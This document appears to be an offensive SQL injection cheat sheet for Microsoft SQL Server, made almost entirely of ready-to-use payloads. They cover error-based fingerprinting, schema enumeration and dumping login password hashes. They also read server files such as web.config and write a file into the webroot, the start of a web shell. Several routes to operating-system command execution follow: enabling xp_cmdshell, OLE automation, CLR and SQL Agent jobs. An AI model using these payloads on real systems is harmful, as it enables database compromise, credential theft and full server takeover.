Microsoft SQL Server

' AND 1=CONVERT(int,@@version)-- -
-- => Conversion failed when converting the nvarchar value
--    'Microsoft SQL Server 2019 (RTM-CU18) ...' to data type int.

' AND 'a'+'b'='ab'-- -           -- + concatenation
' AND @@SERVERNAME=@@SERVERNAME-- -
' AND 1=(SELECT TOP 1 1 FROM sysobjects)-- -

-- Error text is distinctive:
-- "Unclosed quotation mark after the character string"
-- "Incorrect syntax near ..."

-- Databases
SELECT name FROM master..sysdatabases
SELECT name FROM sys.databases

-- Tables
SELECT name FROM sysobjects WHERE xtype='U'
SELECT table_name FROM information_schema.tables

-- Columns
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')
SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'

-- Cross-database: MSSQL lets you reach other databases on the same instance
SELECT name FROM otherdb..sysobjects WHERE xtype='U'

-- Everything in one request (2017+)
SELECT STRING_AGG(table_name+'.'+column_name,', ')
FROM information_schema.columns

-- Pre-2017, the FOR XML PATH idiom
SELECT (SELECT table_name+'.'+column_name+'; '
        FROM information_schema.columns FOR XML PATH(''))

-- Privileges — is_srvrolemember decides everything downstream
SELECT IS_SRVROLEMEMBER('sysadmin')      -- 1 means xp_cmdshell is reachable
SELECT IS_MEMBER('db_owner')
SELECT name FROM sys.sql_logins           -- login list
SELECT name,password_hash FROM sys.sql_logins   -- hashes, sysadmin only

-- Read a file into a single value (needs ADMINISTER BULK OPERATIONS / bulkadmin)
SELECT * FROM OPENROWSET(BULK 'C:/Windows/win.ini', SINGLE_CLOB) AS x

-- Line by line
CREATE TABLE f(line varchar(8000));
BULK INSERT f FROM 'C:/inetpub/wwwroot/web.config';
SELECT * FROM f;

-- Directory listing via xp_dirtree (also the OOB primitive).
-- xp_dirtree accepts forward slashes; use backslashes for UNC targets.
EXEC master..xp_dirtree 'C:/inetpub/wwwroot',1,1

-- File existence check
EXEC master..xp_fileexist 'C:/Windows/win.ini'

-- Write: no direct primitive. Use xp_cmdshell, or OLE automation:
DECLARE @o INT, @f INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o,'CreateTextFile',@f OUT,'C:/inetpub/wwwroot/s.aspx';
EXEC sp_OAMethod @f,'WriteLine',NULL,'<%response.write(1)%>';

-- Enable and run
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
   EXEC xp_cmdshell 'whoami'-- -

-- Read output back through a table (execution is blind otherwise)
'; CREATE TABLE o(line varchar(8000));
   INSERT INTO o EXEC xp_cmdshell 'whoami'-- -
' UNION SELECT NULL,line,NULL FROM o-- -

-- OLE automation — alternative when xp_cmdshell is removed
'; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
   DECLARE @o INT;
   EXEC sp_OACreate 'WScript.Shell',@o OUT;
   EXEC sp_OAMethod @o,'Run',NULL,'cmd /c whoami > C:/out.txt'-- -

-- CLR assemblies — the stealthiest route, and the hardest to remove
'; EXEC sp_configure 'clr enabled',1; RECONFIGURE-- -

-- Agent jobs — execution without xp_cmdshell if SQL Agent runs
'; EXEC msdb.dbo.sp_add_job @job_name='x';
   EXEC msdb.dbo.sp_add_jobstep @job_name='x',@step_name='s',
     @subsystem='CMDEXEC',@command='whoami > C:/out.txt';
   EXEC msdb.dbo.sp_add_jobserver @job_name='x';
   EXEC msdb.dbo.sp_start_job @job_name='x'-- -